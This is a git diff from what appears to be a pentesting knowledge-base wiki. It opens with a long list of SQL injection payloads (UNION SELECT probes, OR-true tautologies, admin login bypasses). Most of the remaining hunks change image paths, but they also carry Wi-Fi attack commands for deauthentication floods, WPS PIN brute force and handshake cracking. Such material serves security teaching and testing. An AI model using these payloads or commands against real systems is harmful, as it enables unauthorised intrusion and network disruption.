UniON SElecT 1,2# +' UniON SElecT 1,2,3# +' UniON SElecT 1,2,3,4# +' UniON SElecT 1,2,3,4,5# +'UniON(SElecT(1),2)-- 2 +'UniON(SElecT(1),2,3)-- 2 +'UniON(SElecT(1),2,3,4)-- 2 +'UniON(SElecT(1),2,3,4,5)-- 2 +'UniON(SElecT(1),2)# +'UniON(SElecT(1),2,3)# +'UniON(SElecT(1),2,3,4)# +'UniON(SElecT(1),2,3,4,5)# +" UniON SElecT 1,2-- 2 +" UniON SElecT 1,2,3-- 2 +" UniON SElecT 1,2,3,4-- 2 +" UniON SElecT 1,2,3,4,5-- 2 +" UniON SElecT 1,2# +" UniON SElecT 1,2,3# +" UniON SElecT 1,2,3,4# +" UniON SElecT 1,2,3,4,5# +"UniON(SElecT(1),2)-- 2 +"UniON(SElecT(1),2,3)-- 2 +"UniON(SElecT(1),2,3,4)-- 2 +"UniON(SElecT(1),2,3,4,5)-- 2 +"UniON(SElecT(1),2)# +"UniON(SElecT(1),2,3)# +"UniON(SElecT(1),2,3,4)# +"UniON(SElecT(1),2,3,4,5)# + +'||'2 +'||2-- 2 +'||'2'||' +'||2# +'||2/* +'||2||' +"||"2 +"||2-- 2 +"||"2"||" +"||2# +"||2/* +"||2||" +'||'2'='2 +'||'2'='2'||' +'||2=2-- 2 +'||2=2# +'||2=2/* +'||2=2||' +"||"2"="2 +"||"2"="2"||" +"||2=2-- 2 +"||2=2# +"||2=2/* +"||2=2||" +'||2=(2)LimIT(1)-- 2 +'||2=(2)LimIT(1)# +'||2=(2)LimIT(1)/* +"||2=(2)LimIT(1)-- 2 +"||2=(2)LimIT(1)# +"||2=(2)LimIT(1)/* +'||true-- 2 +'||true# +'||true/* +'||true||' +"||true-- 2 +"||true# +"||true/* +"||true||" +'||'2'LiKE'2 +'||'2'LiKE'2'-- 2 +'||'2'LiKE'2'# +'||'2'LiKE'2'/* +'||'2'LiKE'2'||' +'||(2)LiKE(2)-- 2 +'||(2)LiKE(2)# +'||(2)LiKE(2)/* +'||(2)LiKE(2)||' +"||"2"LiKE"2 +"||"2"LiKE"2"-- 2 +"||"2"LiKE"2"# +"||"2"LiKE"2"/* +"||"2"LiKE"2"||" +"||(2)LiKE(2)-- 2 +"||(2)LiKE(2)# +"||(2)LiKE(2)/* +"||(2)LiKE(2)||" + +')oR('2 +')oR'2'-- 2 +')oR'2'# +')oR'2'/* +')oR'2'oR(' +')oR(2)-- 2 +')oR(2)# +')oR(2)/* +')oR(2)oR(' +')oR 2-- 2 +')oR 2# +')oR 2/* +')oR 2 oR(' +')oR/**/2-- 2 +')oR/**/2# +')oR/**/2/* +')oR/**/2/**/oR(' +")oR("2 +")oR"2"-- 2 +")oR"2"# +")oR"2"/* +")oR"2"oR(" +")oR(2)-- 2 +")oR(2)# +")oR(2)/* +")oR(2)oR(" +")oR 2-- 2 +")oR 2# +")oR 2/* +")oR 2 oR(" +")oR/**/2-- 2 +")oR/**/2# +")oR/**/2/* +")oR/**/2/**/oR(" +')oR'2'=('2 +')oR'2'='2'oR(' +')oR'2'='2'-- 2 +')oR'2'='2'# +')oR'2'='2'/* +')oR'2'='2'oR(' +')oR 2=2-- 2 +')oR 2=2# +')oR 2=2/* +')oR 2=2 oR(' +')oR/**/2=2-- 2 +')oR/**/2=2# +')oR/**/2=2/* +')oR/**/2=2/**/oR(' +')oR(2)=2-- 2 +')oR(2)=2# +')oR(2)=2/* +')oR(2)=2/* +')oR(2)=(2)oR(' +')oR'2'='2' LimIT 1-- 2 +')oR'2'='2' LimIT 1# +')oR'2'='2' LimIT 1/* +')oR(2)=(2)LimIT(1)-- 2 +')oR(2)=(2)LimIT(1)# +')oR(2)=(2)LimIT(1)/* +")oR"2"=("2 +")oR"2"="2"oR(" +")oR"2"="2"-- 2 +")oR"2"="2"# +")oR"2"="2"/* +")oR"2"="2"oR(" +")oR 2=2-- 2 +")oR 2=2# +")oR 2=2/* +")oR 2=2 oR(" +")oR/**/2=2-- 2 +")oR/**/2=2# +")oR/**/2=2/* +")oR/**/2=2/**/oR(" +")oR(2)=2-- 2 +")oR(2)=2# +")oR(2)=2/* +")oR(2)=2/* +")oR(2)=(2)oR(" +")oR"2"="2" LimIT 1-- 2 +")oR"2"="2" LimIT 1# +")oR"2"="2" LimIT 1/* +")oR(2)=(2)LimIT(1)-- 2 +")oR(2)=(2)LimIT(1)# +")oR(2)=(2)LimIT(1)/* +')oR true-- 2 +')oR true# +')oR true/* +')oR true oR(' +')oR(true)-- 2 +')oR(true)# +')oR(true)/* +')oR(true)oR(' +')oR/**/true-- 2 +')oR/**/true# +')oR/**/true/* +')oR/**/true/**/oR(' +")oR true-- 2 +")oR true# +")oR true/* +")oR true oR(" +")oR(true)-- 2 +")oR(true)# +")oR(true)/* +")oR(true)oR(" +")oR/**/true-- 2 +")oR/**/true# +")oR/**/true/* +")oR/**/true/**/oR(" +')oR'2'LiKE('2 +')oR'2'LiKE'2'-- 2 +')oR'2'LiKE'2'# +')oR'2'LiKE'2'/* +')oR'2'LiKE'2'oR(' +')oR(2)LiKE(2)-- 2 +')oR(2)LiKE(2)# +')oR(2)LiKE(2)/* +')oR(2)LiKE(2)oR(' +")oR"2"LiKE("2 +")oR"2"LiKE"2"-- 2 +")oR"2"LiKE"2"# +")oR"2"LiKE"2"/* +")oR"2"LiKE"2"oR(" +")oR(2)LiKE(2)-- 2 +")oR(2)LiKE(2)# +")oR(2)LiKE(2)/* +")oR(2)LiKE(2)oR(" +admin')-- 2 +admin')# +admin')/* +admin")-- 2 +admin")# +') UniON SElecT 1,2-- 2 +') UniON SElecT 1,2,3-- 2 +') UniON SElecT 1,2,3,4-- 2 +') UniON SElecT 1,2,3,4,5-- 2 +') UniON SElecT 1,2# +') UniON SElecT 1,2,3# +') UniON SElecT 1,2,3,4# +') UniON SElecT 1,2,3,4,5# +')UniON(SElecT(1),2)-- 2 +')UniON(SElecT(1),2,3)-- 2 +')UniON(SElecT(1),2,3,4)-- 2 +')UniON(SElecT(1),2,3,4,5)-- 2 +')UniON(SElecT(1),2)# +')UniON(SElecT(1),2,3)# +')UniON(SElecT(1),2,3,4)# +')UniON(SElecT(1),2,3,4,5)# +") UniON SElecT 1,2-- 2 +") UniON SElecT 1,2,3-- 2 +") UniON SElecT 1,2,3,4-- 2 +") UniON SElecT 1,2,3,4,5-- 2 +") UniON SElecT 1,2# +") UniON SElecT 1,2,3# +") UniON SElecT 1,2,3,4# +") UniON SElecT 1,2,3,4,5# +")UniON(SElecT(1),2)-- 2 +")UniON(SElecT(1),2,3)-- 2 +")UniON(SElecT(1),2,3,4)-- 2 +")UniON(SElecT(1),2,3,4,5)-- 2 +")UniON(SElecT(1),2)# +")UniON(SElecT(1),2,3)# +")UniON(SElecT(1),2,3,4)# +")UniON(SElecT(1),2,3,4,5)# +')||('2 +')||2-- 2 +')||'2'||(' +')||2# +')||2/* +')||2||(' +")||("2 +")||2-- 2 +")||"2"||(" +")||2# +")||2/* +")||2||(" +')||'2'=('2 +')||'2'='2'||(' +')||2=2-- 2 +')||2=2# +')||2=2/* +')||2=2||(' +")||"2"=("2 +")||"2"="2"||(" +")||2=2-- 2 +")||2=2# +")||2=2/* +")||2=2||(" +')||2=(2)LimIT(1)-- 2 +')||2=(2)LimIT(1)# +')||2=(2)LimIT(1)/* +")||2=(2)LimIT(1)-- 2 +")||2=(2)LimIT(1)# +")||2=(2)LimIT(1)/* +')||true-- 2 +')||true# +')||true/* +')||true||(' +")||true-- 2 +")||true# +")||true/* +")||true||(" +')||'2'LiKE('2 +')||'2'LiKE'2'-- 2 +')||'2'LiKE'2'# +')||'2'LiKE'2'/* +')||'2'LiKE'2'||(' +')||(2)LiKE(2)-- 2 +')||(2)LiKE(2)# +')||(2)LiKE(2)/* +')||(2)LiKE(2)||(' +")||"2"LiKE("2 +")||"2"LiKE"2"-- 2 +")||"2"LiKE"2"# +")||"2"LiKE"2"/* +")||"2"LiKE"2"||(" +")||(2)LiKE(2)-- 2 +")||(2)LiKE(2)# +")||(2)LiKE(2)/* +")||(2)LiKE(2)||(" +' UnION SELeCT 1,2` +' UnION SELeCT 1,2,3` +' UnION SELeCT 1,2,3,4` +' UnION SELeCT 1,2,3,4,5` +" UnION SELeCT 1,2` +" UnION SELeCT 1,2,3` +" UnION SELeCT 1,2,3,4` +" UnION SELeCT 1,2,3,4,5` \ No newline at end of file diff --git a/1911-pentesting-fox.md b/1911-pentesting-fox.md index 5b95d63c8..a61affb35 100644 --- a/1911-pentesting-fox.md +++ b/1911-pentesting-fox.md @@ -26,7 +26,7 @@ dht udp "DHT Nodes" ![](<.gitbook/assets/image (273).png>) -![](<.gitbook/assets/image (345) (2) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (2).png>) +![](<.gitbook/assets/image (345) (2) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) InfluxDB diff --git a/README.md b/README.md index 92ec9ca7e..530652eb0 100644 --- a/README.md +++ b/README.md @@ -58,7 +58,7 @@ You can check their **blog** in [**https://blog.stmcyber.com**](https://blog.stm ### [Intrigiti](https://www.intigriti.com) -![](<.gitbook/assets/image (620) (2) (1) (1) (2).png>) +![](<.gitbook/assets/image (620) (2) (1) (1) (1) (12).png>) **Intrigiti** is the **Europe's #1** ethical hacking and **bug bounty platform** @@ -68,7 +68,7 @@ You can check their **blog** in [**https://blog.stmcyber.com**](https://blog.stm ### [**INE**](https://ine.com) -![](<.gitbook/assets/INE\_Logo (3).jpg>) +![](.gitbook/assets/ine\_logo-3-.jpg) [**INE**](https://ine.com) is a great platform to start learning or **improve** your **IT knowledge** through their huge range of **courses**. I personally like and have completed many from the [**cybersecurity section**](https://ine.com/pages/cybersecurity). **INE** also provides with the official courses to prepare the **certifications** from [**eLearnSecurity**](https://elearnsecurity.com)**.** diff --git a/cloud-security/atlantis.md b/cloud-security/atlantis.md index f607af43d..819b59493 100644 --- a/cloud-security/atlantis.md +++ b/cloud-security/atlantis.md @@ -305,7 +305,7 @@ Moreover, if you don't have configured in the **branch protection** to ask to ** This is the **setting** in Github branch protections: -![](<../.gitbook/assets/image (307) (4).png>) +![](<../.gitbook/assets/image (375) (1).png>) ### Webhook Secret diff --git a/cloud-security/concourse/concourse-architecture.md b/cloud-security/concourse/concourse-architecture.md index d1148e329..38468315d 100644 --- a/cloud-security/concourse/concourse-architecture.md +++ b/cloud-security/concourse/concourse-architecture.md @@ -20,7 +20,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) ## Architecture -![](<../../.gitbook/assets/image (307) (3) (1).png>) +![](<../../.gitbook/assets/image (651) (1) (1).png>) ### ATC: web UI & build scheduler diff --git a/cloud-security/gcp-security/gcp-buckets-brute-force-and-privilege-escalation.md b/cloud-security/gcp-security/gcp-buckets-brute-force-and-privilege-escalation.md index 1ac4abc1c..570c00167 100644 --- a/cloud-security/gcp-security/gcp-buckets-brute-force-and-privilege-escalation.md +++ b/cloud-security/gcp-security/gcp-buckets-brute-force-and-privilege-escalation.md @@ -35,7 +35,7 @@ Note that other cloud resources could be searched for and that some times these As other clouds, GCP also offers Buckets to its users. These buckets might be (to list the content, read, write...). -![](<../../.gitbook/assets/image (618).png>) +![](<../../.gitbook/assets/image (628) (1) (1) (1).png>) The following tools can be used to generate variations of the name given and search for miss-configured buckets with that names: diff --git a/ctf-write-ups/try-hack-me/pickle-rick.md b/ctf-write-ups/try-hack-me/pickle-rick.md index e12041fe2..18c4d9c6c 100644 --- a/ctf-write-ups/try-hack-me/pickle-rick.md +++ b/ctf-write-ups/try-hack-me/pickle-rick.md @@ -26,7 +26,7 @@ This machine was categorised as easy and it was pretty easy. I started **enumerating the machine using my tool** [**Legion**](https://github.com/carlospolop/legion): -![](<../../.gitbook/assets/image (79) (1).png>) +![](<../../.gitbook/assets/image (79) (2).png>) In as you can see 2 ports are open: 80 (**HTTP**) and 22 (**SSH**) diff --git a/exploiting/linux-exploiting-basic-esp/README.md b/exploiting/linux-exploiting-basic-esp/README.md index 01b88b1d7..fc9287354 100644 --- a/exploiting/linux-exploiting-basic-esp/README.md +++ b/exploiting/linux-exploiting-basic-esp/README.md @@ -405,7 +405,7 @@ Get the address to this table with: **`objdump -s -j .got ./exec`** Observe how after **loading** the **executable** in GEF you can **see** the **functions** that are in the **GOT**: `gef➤ x/20x 0xDIR_GOT` -![](<../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1).png>) +![](<../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (2) (1).png>) Using GEF you can **start** a **debugging** session and execute **`got`** to see the got table: @@ -474,7 +474,7 @@ For example, in the following situation there is a **local variable in the stack So, flag is in **0xffffcf4c** -![](<../../.gitbook/assets/image (622).png>) +![](<../../.gitbook/assets/image (618) (2).png>) And from the leak you can see the **pointer to the flag** is in the **8th** parameter: diff --git a/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md b/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md index c3e6d63d7..d91494b1b 100644 --- a/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md +++ b/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md @@ -65,7 +65,7 @@ From the **bytes 440 to the 443** of the MBR you can find the **Windows Disk Sig In order to mount a MBR in Linux you first need to get the start offset (you can use `fdisk` and the the `p` command) -![](<../../../.gitbook/assets/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1).png>) +![](<../../../.gitbook/assets/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (2).png>) An then use the following code diff --git a/forensics/basic-forensic-methodology/partitions-file-systems-carving/ntfs.md b/forensics/basic-forensic-methodology/partitions-file-systems-carving/ntfs.md index 7b9a2f52e..79a415206 100644 --- a/forensics/basic-forensic-methodology/partitions-file-systems-carving/ntfs.md +++ b/forensics/basic-forensic-methodology/partitions-file-systems-carving/ntfs.md @@ -152,7 +152,7 @@ Some interesting attributes: * [$Data](https://flatcap.org/linux-ntfs/ntfs/attributes/data.html) (among others): * Contains the file's data or the indication of the sectors where the data resides. In the following example the attribute data is not resident so the attribute gives information about the sectors where the data resides. -![](<../../../.gitbook/assets/image (507) (1).png>) +![](<../../../.gitbook/assets/image (507) (1) (1).png>) ![](<../../../.gitbook/assets/image (509).png>) diff --git a/forensics/basic-forensic-methodology/pcap-inspection/README.md b/forensics/basic-forensic-methodology/pcap-inspection/README.md index 9dfe72abf..a4c6c72de 100644 --- a/forensics/basic-forensic-methodology/pcap-inspection/README.md +++ b/forensics/basic-forensic-methodology/pcap-inspection/README.md @@ -78,7 +78,7 @@ This tool is also useful to get **other information analysed** from the packets You can download [**NetWitness Investigator from here**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(It works in Windows)**.\ This is another useful tool that **analyse the packets** and sort the information in a useful way to **know what is happening inside**. -![](<../../../.gitbook/assets/image (567) (1) (1).png>) +![](<../../../.gitbook/assets/image (567) (1).png>) ### [BruteShark](https://github.com/odedshimon/BruteShark) diff --git a/forensics/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md b/forensics/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md index b1ecd2323..0ae4024d0 100644 --- a/forensics/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md +++ b/forensics/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md @@ -101,7 +101,7 @@ You can add a column that show the Host HTTP header: And a column that add the Server name from an initiating HTTPS connection (**ssl.handshake.type == 1**): -![](<../../../.gitbook/assets/image (408) (1).png>) +![](<../../../.gitbook/assets/image (408).png>) ## Identifying local hostnames diff --git a/forensics/basic-forensic-methodology/windows-forensics/README.md b/forensics/basic-forensic-methodology/windows-forensics/README.md index 19e6208bf..0e7d0d53b 100644 --- a/forensics/basic-forensic-methodology/windows-forensics/README.md +++ b/forensics/basic-forensic-methodology/windows-forensics/README.md @@ -54,7 +54,7 @@ Having these files you can sue the tool [**Rifiuti**](https://github.com/abelche .\rifiuti-vista.exe C:\Users\student\Desktop\Recycle ``` -![](<../../../.gitbook/assets/image (495) (1) (1).png>) +![](<../../../.gitbook/assets/image (495) (1) (1) (1).png>) ### Volume Shadow Copies @@ -152,7 +152,7 @@ The files in the folder WPDNSE are a copy of the original ones, then won't survi Check the file `C:\Windows\inf\setupapi.dev.log` to get the timestamps about when the USB connection was produced (search for `Section start`). -![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) +![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (2).png>) ### USB Detective diff --git a/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md b/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md index 16f8e04f5..c99c5d2ae 100644 --- a/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md +++ b/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md @@ -151,7 +151,7 @@ Within this registry it's possible to find: ![](<../../../.gitbook/assets/image (477).png>) -![](<../../../.gitbook/assets/image (479) (1) (1).png>) +![](<../../../.gitbook/assets/image (479) (1).png>) Moreover, checking the registry `HKLM\SYSTEM\ControlSet001\Enum\USB` and comparing the values of the sub-keys it's possible to find the VID value @@ -171,7 +171,7 @@ Having the **{GUID}** of the device it's now possible to **check all the NTUDER. Checking the registry `System\MoutedDevices` it's possible to find out **which device was the last one mounted**. In the following image check how the last device mounted in `E:` is the Thoshiba one (using the tool Registry Explorer). -![](<../../../.gitbook/assets/image (483) (1).png>) +![](<../../../.gitbook/assets/image (483) (1) (1).png>) ### Volume Serial Number diff --git a/generic-methodologies-and-resources/external-recon-methodology/README.md b/generic-methodologies-and-resources/external-recon-methodology/README.md index a456248a3..a58cfe06b 100644 --- a/generic-methodologies-and-resources/external-recon-methodology/README.md +++ b/generic-methodologies-and-resources/external-recon-methodology/README.md @@ -17,7 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) {% hint style="danger" %} -\ +\ **Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!\\ {% embed url="https://go.intigriti.com/hacktricks" %} @@ -163,7 +163,7 @@ If you find any **domain with an IP different** from the ones you already found _Note that sometimes the domain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._ {% hint style="danger" %} -\ +\ **Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!\\ {% embed url="https://go.intigriti.com/hacktricks" %} diff --git a/generic-methodologies-and-resources/pentesting-methodology.md b/generic-methodologies-and-resources/pentesting-methodology.md index 47813cd0c..6541fd120 100644 --- a/generic-methodologies-and-resources/pentesting-methodology.md +++ b/generic-methodologies-and-resources/pentesting-methodology.md @@ -23,7 +23,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) {% hint style="danger" %} -\ +\ **Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!\\ {% embed url="https://go.intigriti.com/hacktricks" %} @@ -31,7 +31,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) ## Pentesting Methodology -![](../.gitbook/assets/p2.png) +![](<../.gitbook/assets/p2 (1).png>) ### 0- Physical Attacks @@ -78,7 +78,7 @@ There are also several tools that can perform **automatic vulnerabilities assess In some scenarios a **Brute-Force** could be useful to **compromise** a **service**. [**Find here a CheatSheet of different services brute forcing**](brute-force.md)**.** {% hint style="danger" %} -\ +\ **Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!\\ {% embed url="https://go.intigriti.com/hacktricks" %} diff --git a/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md b/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md index 8654ff5db..3e1031078 100644 --- a/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md +++ b/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md @@ -141,7 +141,7 @@ Responder is going to **impersonate all the service using the mentioned protocol It is possible to try to downgrade to NetNTLMv1 or to try to disable ESS. -![](<../../.gitbook/assets/poison (1) (1) (1).jpg>) +![](<../../.gitbook/assets/poison (1) (1).jpg>) ## Inveigh @@ -179,7 +179,7 @@ If you want to use **MultiRelay**, go to _**/usr/share/responder/tools**_ and ex python MultiRelay.py -t -u ALL #If "ALL" then all users are relayed ``` -![](<../../.gitbook/assets/image (209).png>) +![](<../../.gitbook/assets/image (209) (1).png>) ### Post-Exploitation (MultiRelay) @@ -209,7 +209,7 @@ To disable LLMNR in your domain for DNS clients, open gpedit.msc.\ Navigate to Computer Configuration->Administrative Templates->Network->DNS client.\ Locate the option “Turn off multicast name resolution” and click “policy setting”: -![](../../.gitbook/assets/1.jpg) +![](<../../.gitbook/assets/1 (1).jpg>) Once the new window opens, enable this option, press Apply and click OK: diff --git a/generic-methodologies-and-resources/pentesting-wifi/README.md b/generic-methodologies-and-resources/pentesting-wifi/README.md index 8296e5463..e5c2f2faf 100644 --- a/generic-methodologies-and-resources/pentesting-wifi/README.md +++ b/generic-methodologies-and-resources/pentesting-wifi/README.md @@ -1,5 +1,7 @@ # Pentesting Wifi +## Pentesting Wifi +
Support HackTricks and get benefits! @@ -16,8 +18,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# Wifi basic commands +## Wifi basic commands ```bash ip link show #List available interfaces @@ -32,16 +33,16 @@ iwconfig wlan0mon mode managed #Quit mode monitor - managed mode iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis ``` -# Tools +## Tools -## EAPHammer +### EAPHammer ``` git clone https://github.com/s0lst1c3/eaphammer.git ./kali-setup ``` -## Airgeddon +### Airgeddon ```bash mv `which dhcpd` `which dhcpd`.old @@ -66,7 +67,7 @@ docker run \ From: [https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux](https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux) -## wifiphisher +### wifiphisher It can perform Evil Twin, KARMA, and Known Beacons attacks and then use a phishing template to manage to obtain the network real password or capture social network credentials. @@ -76,7 +77,7 @@ cd wifiphisher # Switch to tool's directory sudo python setup.py install # Install any dependencies ``` -## [Wifite2](https://github.com/derv82/wifite2) +### [Wifite2](https://github.com/derv82/wifite2) This tool automates **WPS/WEP/WPA-PSK** attacks. It will automatically: @@ -89,7 +90,7 @@ This tool automates **WPS/WEP/WPA-PSK** attacks. It will automatically: * Try to deauthenticate clients of the AP to capture a handshake * If PMKID or Handshake, try to bruteforce using top5000 passwords. -# Attacks Summary +## Attacks Summary * **DoS** * Deauthentication/disassociation -- Disconnect everyone (or a specific ESSID/Client) @@ -114,9 +115,9 @@ This tool automates **WPS/WEP/WPA-PSK** attacks. It will automatically: * **+ Open** -- Useful to capture captive portal creds and/or perform LAN attacks * **+ WPA** -- Useful to capture WPA handshakes -# DOS +## DOS -## Deauthentication Packets +### Deauthentication Packets The most common way this sort of attack is done is with **deauthentication** packets. These are a type of "management" frame responsible for disconnecting a device from an access point. Forging these packets is the key to [hacking many Wi-Fi networks](https://null-byte.wonderhowto.com/how-to/wi-fi-hacking/), as you can forcibly disconnect any client from the network at any time. The ease of which this can be done is somewhat frightening and is often done as part of gathering a WPA handshake for cracking. @@ -135,7 +136,7 @@ aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0 * \-c 00:0F:B5:34:30:30 is the MAC address of the client to deauthenticate; if this is omitted then broadcast deauthentication is sent (not always work) * ath0 is the interface name -## Disassociation Packets +### Disassociation Packets Disassociation packets are another type of management frame that is used to disconnect a node (meaning any device like a laptop or cell phone) from a nearby access point. The difference between deauthentication and disassociation frames is primarily the way they are used. @@ -154,7 +155,7 @@ An AP looking to disconnect a rogue device would send a deauthentication packet mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F ``` -## **More DOS attacks by mdk4** +### **More DOS attacks by mdk4** **From** [**here**](https://en.kali.tools/?p=864)**.** @@ -222,19 +223,19 @@ mkd4 -e -c [-z] A simple packet fuzzer with multiple packet sources and a nice set of modifiers. Be careful! -## **Airggedon** +### **Airggedon** _**Airgeddon**_ offers most of the attacks proposed in the previous comments: ![](<../../.gitbook/assets/image (126).png>) -# WPS +## WPS WPS stands for Wi-Fi Protected Setup. It is a wireless network security standard that tries to make connections between a router and wireless devices faster and easier. **WPS works only for wireless networks that use a password** that is encrypted with the **WPA** Personal or **WPA2** Personal security protocols. WPS doesn't work on wireless networks that are using the deprecated WEP security, which can be cracked easily by any hacker with a basic set of tools and skills. (From [here](https://www.digitalcitizen.life/simple-questions-what-wps-wi-fi-protected-setup)) WPS uses a 8 length PIN to allow a user to connect to the network, but it's first checked the first 4 numbers and, if correct, then is checked the second 4 numbers. Then, it is possible to Brute-Force the first half and then the second half (only 11000 possibilities). -## WPS Bruteforce +### WPS Bruteforce There are 2 main tools to perform this action: Reaver and Bully. @@ -258,7 +259,7 @@ Instead of starting trying every possible PIN, you should check if there are ava * The database of known PINs is made for Access Points of certain manufacturers for which it is known that they use the same WPS PINs. This database contains the first three octets of MAC-addresses and a list of corresponding PINs that are very likely for this manufacturer. * There are several algorithms for generating WPS PINs. For example, ComputePIN and EasyBox use the MAC-address of the Access Point in their calculations. But the Arcadyan algorithm also requires a device ID. -## WPS Pixie Dust attack +### WPS Pixie Dust attack Dominique Bongard discovered that some APs have weak ways of generating **nonces** (known as **E-S1** and **E-S2**) that are supposed to be secret. If we are able to figure out what these nonces are, we can easily find the WPS PIN of an AP since the AP must give it to us in a hash in order to prove that it also knowns the PIN, and the client is not connecting to a rouge AP. These E-S1 and E-S2 are essentially the "keys to unlock the lock box" containing the WPS pin. More info here: [https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\)) @@ -269,7 +270,7 @@ reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3 ``` -## Null Pin attack +### Null Pin attack Some really bad implementations allowed the Null PIN to connect (very weird also). Reaver can test this (Bully cannot). @@ -277,11 +278,11 @@ Some really bad implementations allowed the Null PIN to connect (very weird also reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p '' ``` -## Airgeddon +### Airgeddon All the proposed WPS attacks can be easily performed using _**airgeddon.**_ -![](<../../.gitbook/assets/image (124).png>) +![](<../../.gitbook/assets/image (201) (1).png>) * 5 and 6 lets you try **your custom PIN** (if you have any) * 7 and 8 perform the **Pixie Dust attack** @@ -289,15 +290,15 @@ All the proposed WPS attacks can be easily performed using _**airgeddon.**_ * 11 and 12 will **recollect the PINs related to the selected AP from available databases** and **generate** possible **PINs** using: ComputePIN, EasyBox and optionally Arcadyan (recommended, why not?) * 9 and 10 will test **every possible PIN** -# **WEP** +## **WEP** So broken and disappeared that I am not going to talk about it. Just know that _**airgeddon**_ have a WEP option called "All-in-One" to attack this kind of protection. More tools offer similar options. ![](<../../.gitbook/assets/image (125).png>) -# WPA/WPA2 PSK +## WPA/WPA2 PSK -## PMKID +### PMKID In 2018 hashcat authors [disclosed](https://hashcat.net/forum/thread-7717.html) a new type of attack which not only relies **on one single packet**, but it doesn’t require any clients to be connected to our target AP but just communication between the attacker and the AP. @@ -350,7 +351,7 @@ aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes _I have noticed that some handshakes captured with this tool couldn't be cracked even knowing the correct password. I would recommend to capture handshakes also via traditional way if possible, or capture several of them using this tool._ -## Handshake capture +### Handshake capture One way to attack **WPA/WPA2** networks is to capture a **handshake** and try to **crack** the used password **offline**. To do so you need to find the **BSSID** and **channel** of the **victim** network, and a **client** that is connected to the network.\ Once you have that information you have to start **listening** to all the commutation of that **BSSID** in that **channel**, because hopefully the handshake will be send there: @@ -369,7 +370,7 @@ _Note that as the client was deauthenticated it could try to connect to a differ Once in the `airodump-ng` appears some handshake information this means that the handshake was captured and you can stop listening: -![](<../../.gitbook/assets/image (172) (1).png>) +![](<../../.gitbook/assets/image (172) (1) (1).png>) Once the handshake is captured you can **crack** it with `aircrack-ng`: @@ -377,7 +378,7 @@ Once the handshake is captured you can **crack** it with `aircrack-ng`: aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap ``` -## Check if handshake in file +### Check if handshake in file **aircrack** @@ -406,7 +407,7 @@ apt-get install pyrit #Not working for newer versions of kali pyrit -r psk-01.cap analyze ``` -# **WPA Enterprise (MGT)** +## **WPA Enterprise (MGT)** **It** is important to talk about the **different 